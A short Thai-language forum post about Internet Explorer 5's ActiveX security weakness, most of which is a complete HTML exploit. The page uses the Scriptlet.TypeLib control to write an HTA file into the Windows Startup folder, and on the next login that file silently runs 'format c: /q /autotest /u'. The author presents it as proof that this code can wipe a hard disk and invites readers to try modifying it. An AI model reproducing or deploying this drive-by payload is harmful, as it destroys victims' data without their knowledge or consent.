โปรแกรม Browser แต่ละตัวต่างมีปัญหาไปต่าง ๆ นา ๆ อย่างเช่น ผมกำลังจะยกตัวอย่างให้ดู IE เป็นโปรแกรม Browser ที่ทำงานร่วมกับ ActiveX Control ซึ่งความดีของ ActiveX นั้นก็คือ ง่ายต่อการพัฒนา แต่ก็แฝงไว้ ถ้าหากผู้ไม่ประสงค์ดี อาจจะนำไปใช้ก่อความเดือดร้อนให้กับ คนอื่น ดังเช่น Code ข้างล่างนี้
<html>
<body>
<OBJECT id="scr" classid="clsid:06290BD5-48AA-11D2-8432-006008C3FBFC" width="14" height="14" >
</OBJECT>
<script>
scr.Reset();
scr.Path="C:\windows\Start Menu\Programs\Startup\startup.hta";
scr.Doc="<object id='BallZ'classid='clsid:F935DC22-1CF0-11D0-ADB9-00C04FD58A0B'>
</object><SCRIPT>BallZ.Run('command /c format c: /q /autotest /u',false,6);</"+"SCRIPT>";scr.write();
</script >
</body>
</html>
จะเห็นว่า เราแค่ทำงานเขียน Code นี้ ก็สามารถ Format Harddisk นี้ได้แล้ว ยังไงลองนำไปแก้ไข กันดูแล้วกันครับ (Bug นี้ สำหรับ IE 5 ครับ)


Reply With Quote
